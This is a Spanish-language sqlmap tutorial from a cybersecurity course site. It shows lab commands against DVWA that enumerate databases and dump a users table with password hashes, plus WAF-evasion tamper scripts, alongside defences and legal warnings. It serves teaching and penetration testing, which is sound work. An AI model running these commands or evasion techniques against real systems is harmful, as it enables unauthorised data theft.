sqlmap: guía para automatizar la inyección SQL

sqlmap: guía para automatizar la inyección SQL

sqlmap es una herramienta de código abierto escrita en Python que automatiza la detección y explotación de vulnerabilidades de inyección SQL en aplicaciones web. Es la referencia del sector para pentesters que necesitan auditar bases de datos de forma rápida y documentada.

Qué es sqlmap y para qué sirve

La inyección SQL (SQLi) es una de las vulnerabilidades más antiguas del desarrollo web, y sigue apareciendo en el OWASP Top 10. Encontrar y explotar un punto de inyección a mano es tedioso: hay que probar decenas de payloads, gestionar distintos motores de base de datos y adaptar la técnica al comportamiento concreto de la aplicación.

sqlmap hace todo eso solo. La herramienta:

  • Detecta si un parámetro es vulnerable a SQLi (GET, POST, cookies, cabeceras HTTP).
  • Identifica el motor de base de datos (MySQL, PostgreSQL, MSSQL, Oracle, SQLite, MariaDB…).
  • Explota la vulnerabilidad con la técnica más adecuada: error-based, union-based, blind booleana, blind temporal o stacked queries.
  • Extrae información: nombres de bases de datos, tablas, columnas y datos.
  • Permite acciones avanzadas: lectura/escritura de ficheros, ejecución de comandos del sistema operativo (cuando el SGBD lo permite) y escalada de privilegios.

«sqlmap is the most widely adopted open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws.»

Más contexto sobre SQLi y dónde encaja dentro del hacking web en nuestra guía completa de hacking web.

Instalación de sqlmap

sqlmap viene preinstalado en Kali Linux, Parrot OS y otras distribuciones de seguridad. Si usas otra plataforma, tienes tres opciones:

Opción 1 — apt (Debian/Ubuntu/Kali)

sudo apt update && sudo apt install sqlmap -y
sqlmap --version

Opción 2 — pip (Python 3)

pip install sqlmap
# o bien
pip3 install sqlmap

Opción 3 — repositorio oficial (siempre actualizado)

git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py --version

La versión del repositorio es la más reciente, la que yo recomendaría para pentesting profesional. Comprueba la versión instalada con sqlmap --version antes de cualquier auditoría.

Uso básico y sintaxis

La sintaxis mínima de sqlmap requiere un objetivo (parámetro -u), y con eso ya basta para que la herramienta empiece a sondear vulnerabilidades:

# Escanear una URL con parámetro GET vulnerable (lab DVWA o similar)
sqlmap -u "http://lab.local/vulnerabilities/sqli/?id=1&Submit=Submit"

sqlmap detectará automáticamente si el parámetro id es inyectable. Una vez confirmada la vulnerabilidad:

# Listar bases de datos disponibles
sqlmap -u "http://lab.local/vulnerabilities/sqli/?id=1" --dbs

# Listar tablas de una base de datos concreta
sqlmap -u "http://lab.local/vulnerabilities/sqli/?id=1" --tables -D dvwa

# Volcar el contenido de una tabla
sqlmap -u "http://lab.local/vulnerabilities/sqli/?id=1" --dump -D dvwa -T users

# Volcar solo columnas específicas (menos ruido, más eficiente)
sqlmap -u "http://lab.local/vulnerabilities/sqli/?id=1" 
  --dump -D dvwa -T users -C user,password

sqlmap también distingue el motor de base de datos por su cuenta, aunque puedes forzarlo con --dbms=mysql si ya lo sabes de antemano.

Opciones más útiles

El potencial real de sqlmap está en sus flags. La siguiente tabla resume las opciones que uso más en un pentest web:

Opción / Comando Qué hace
--batch Responde automáticamente «yes» a todas las preguntas interactivas. Ideal para scripting o automatización.
--level=1..5 Aumenta el número de vectores y parámetros testeados (cabeceras, User-Agent, Referer…). Valor por defecto: 1.
--risk=1..3 Controla lo agresivo que es el payload (mayor riesgo puede modificar datos). Por defecto: 1. Subir solo en labs controlados.
--technique=BEUSTQ Filtra qué técnicas usar: B=booleana, E=error, U=union, S=stacked, T=time-based, Q=inline. Ej: --technique=BT
--tamper=SCRIPT Aplica un script de ofuscación al payload para evadir WAF. Ej: --tamper=space2comment, randomcase, between.
-r peticion.txt Lee una petición HTTP completa exportada desde Burp Suite (incluyendo cookies, cabeceras y cuerpo POST).
--cookie="PHPSESSID=abc" Envía cookies de sesión para probar parámetros que requieren autenticación.
--data="user=admin&pass=test" Especifica datos POST para testear formularios de login u otros endpoints que no usan GET.
--dbms=mysql Fuerza el motor de base de datos y acelera el proceso cuando ya se conoce.
--proxy=http://127.0.0.1:8080 Enruta el tráfico de sqlmap a través de Burp Suite para inspección o logging.
--threads=5 Número de hilos concurrentes (máx. 10). Aumenta la velocidad en blind injection.
--forms Parsea y testea automáticamente los formularios HTML encontrados en la URL.
--passwords Extrae los hashes de contraseñas de los usuarios del SGBD.
-v 3 Aumenta la verbosidad (0–6). El nivel 3 muestra los payloads enviados, muy útil para aprender.

Flujo con Burp Suite: cómo pasar una petición real

En pentests reales, los parámetros vulnerables suelen estar en peticiones POST complejas o con autenticación de sesión. El flujo correcto es este:

  1. Intercepta la petición en Burp Suite.
  2. Haz clic derecho → Save item → guarda como peticion.txt.
  3. Lanza sqlmap con -r:
sqlmap -r peticion.txt --batch --level=2 --dbs

sqlmap interpreta automáticamente cabeceras, cookies y el cuerpo POST tal y como los capturó Burp. No hace falta extraer parámetros a mano.

Ejemplo práctico en laboratorio (DVWA)

Importante: este ejemplo se ejecuta exclusivamente en DVWA (Damn Vulnerable Web Application) instalado en local o en un laboratorio autorizado como los labs de PortSwigger Web Security Academy. Nunca contra sistemas de terceros sin autorización escrita.

Configuración previa: DVWA con nivel de seguridad «Low», sesión iniciada.

# 1. Obtener la cookie de sesión desde el navegador (DevTools → Application → Cookies)
# PHPSESSID=abc123xyz; security=low

# 2. Listar bases de datos
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" 
  --cookie="PHPSESSID=abc123xyz; security=low" 
  --batch 
  --dbs

# Salida esperada:
# available databases [2]:
# [*] dvwa
# [*] information_schema

# 3. Listar tablas de dvwa
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" 
  --cookie="PHPSESSID=abc123xyz; security=low" 
  --batch 
  --tables -D dvwa

# Salida esperada:
# Database: dvwa
# [2 tables]
# +----------+
# | guestbook|
# | users    |
# +----------+

# 4. Volcar tabla de usuarios
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" 
  --cookie="PHPSESSID=abc123xyz; security=low" 
  --batch 
  --dump -D dvwa -T users

El resultado muestra usuarios y contraseñas (en MD5 en DVWA). sqlmap incluso ofrece crackearlos contra un diccionario integrado. En un lab, esto deja bastante claro qué pasa si dejas una SQLi sin corregir.

Cómo defenderse de sqlmap (y de SQLi en general)

Un WAF puede detectar los patrones conocidos de sqlmap y bloquearlos, pero eso es solo una capa superficial. La defensa real está en el código:

1. Consultas parametrizadas (prepared statements)

Es la única defensa completa. Si el código nunca interpola variables directamente en SQL, sqlmap no tiene nada que explotar:

// PHP con PDO (correcto)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);

// PHP vulnerable (incorrecto)
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];

2. ORM y capa de abstracción

Frameworks que usan ORM (Eloquent, Doctrine, Hibernate) parametrizan las consultas por defecto. Úsalos bien y no construyas SQL en bruto por tu cuenta.

3. Validación y saneamiento de entradas

Valida el tipo esperado (si id es un entero, comprueba que lo sea antes de usarlo). Ojo: saneamiento no es lo mismo que parametrización, y por sí solo no basta.

4. Principio de mínimo privilegio en la BD

El usuario de base de datos que usa la aplicación web solo debe tener los permisos que necesita (SELECT sobre ciertas tablas, nada más). Así limitas el daño si alguien explota la vulnerabilidad.

5. WAF como capa adicional (no como sustituto)

Un WAF como ModSecurity con el ruleset OWASP CRS detecta y bloquea muchos patrones de sqlmap. Úsalo como defensa en profundidad, nunca como única medida.

Aprende más sobre vulnerabilidades web y cómo mitigarlas en el Curso de Hacking Web de cursosdeciberseguridad.com.

Buenas prácticas y errores habituales

  • Empieza siempre con --batch y -v 3 en el laboratorio: así ves exactamente qué payloads envía la herramienta y entiendes la lógica detrás de la automatización.
  • No subas --risk ni --level sin necesidad. En niveles altos, sqlmap puede enviar miles de peticiones y dejar rastros muy visibles en los logs del servidor objetivo.
  • Usa --technique para afinar. Si el servidor tiene timeouts ajustados, excluye la técnica T (time-based) para evitar falsos negativos o lentitud innecesaria.
  • Guarda los resultados. sqlmap almacena un log de sesión en ~/.sqlmap/output/. Revísalo y adjúntalo al informe de pentest.
  • Error habitual: olvidar la cookie de sesión. Si el parámetro vulnerable está detrás de login, sqlmap recibe una redirección al login y no encuentra nada. Usa siempre --cookie o -r.
  • No uses sqlmap como única herramienta. Automatiza muy bien, pero la validación manual con Burp Suite y el análisis del código fuente siguen siendo imprescindibles en un pentest serio. Consulta nuestra guía de Burp Suite como complemento.
  • Actualiza con regularidad. Si usas el repositorio git, un git pull antes de cada auditoría garantiza que tienes los últimos tamper scripts y soporte de bases de datos.

Vídeo recomendado: sqlmap en español

Si prefieres ver sqlmap en acción antes de practicarlo, este tutorial en español del canal SEGURIDAD CERO cubre el flujo completo desde cero:

Vídeo: «sqlmap: tutorial completo de inyección SQL», por Seguridad Cero (YouTube).

📚 ¿Quieres practicarlo en un laboratorio legal, paso a paso? Lo trabajamos en el Módulo 4: Inyección SQL (SQLi) de nuestro Curso de Hacking Web.

Preguntas frecuentes

¿Es legal usar sqlmap?

sqlmap es una herramienta legal en sí misma, como un martillo: que su uso sea legal o no depende de lo que hagas con ella. En España, el artículo 197 bis del Código Penal tipifica el acceso no autorizado a sistemas informáticos y la interceptación de datos. Usar sqlmap contra un sistema sin autorización expresa y por escrito del propietario es un delito, encuentres vulnerabilidades o no. El uso legítimo se limita a sistemas propios, entornos de laboratorio (DVWA, VMs, plataformas como HackTheBox o PortSwigger) y compromisos de pentesting con contrato firmado.

¿Sqlmap funciona solo con MySQL?

No. sqlmap soporta los motores más comunes: MySQL, MariaDB, PostgreSQL, Microsoft SQL Server, Oracle, SQLite, IBM DB2, Sybase, SAP MaxDB, Firebird e Informix, entre otros. La detección del SGBD es automática; puedes forzarla con --dbms para acelerar el proceso.

¿Cómo evito que un WAF bloquee a sqlmap?

Los tamper scripts están pensados para esto. Algunos de los más efectivos son space2comment (sustituye espacios por comentarios SQL), randomcase (aleatoriza mayúsculas/minúsculas en palabras clave SQL), between (sustituye > por NOT BETWEEN 0 AND) y charencode (codifica los caracteres en URL encoding). Puedes combinar varios: --tamper=space2comment,randomcase. Aun así, ninguna técnica garantiza la evasión de todos los WAF modernos.

¿Cuánto tarda sqlmap en extraer una base de datos?

Depende de la técnica explotada y el tamaño de la base de datos. Con union-based injection (la más rápida), extraer miles de filas toma segundos. Con blind time-based (la más lenta), cada bit de información requiere una petición; extraer contraseñas de una tabla pequeña puede tardar varios minutos u horas. Aumentar --threads (hasta 10) acelera bastante las técnicas ciegas.

¿Puedo usar sqlmap en programas de bug bounty?

Depende del alcance (scope) del programa. Muchos programas de bug bounty permiten herramientas automatizadas con restricciones (rate limiting, sin datos de producción, sin DoS). Lee siempre las reglas del programa antes de lanzar sqlmap. Algunos prohíben explícitamente los scanners automatizados; en ese caso, la detección debe ser manual con Burp Suite. Revisar el scope y las reglas es responsabilidad tuya, legal y ética, antes de empezar.


Aviso legal y ético: sqlmap es una herramienta de auditoría de seguridad pensada para uso en sistemas propios o con autorización expresa y por escrito del propietario. Su uso no autorizado contra sistemas de terceros es un delito en España conforme al artículo 197 bis del Código Penal (acceso no autorizado a sistemas informáticos), con penas de prisión de seis meses a dos años. Toda la información de este artículo tiene fines exclusivamente educativos y de concienciación en ciberseguridad. Practica siempre en entornos de laboratorio controlados como DVWA, HackTheBox o los labs de PortSwigger Web Security Academy. El autor y cursosdeciberseguridad.com no se hacen responsables del uso indebido de esta información.

Sigue tu camino

Cursos de ciberseguridad por especialización

Descubre los cursos que más se adaptan a tu perfil profesional.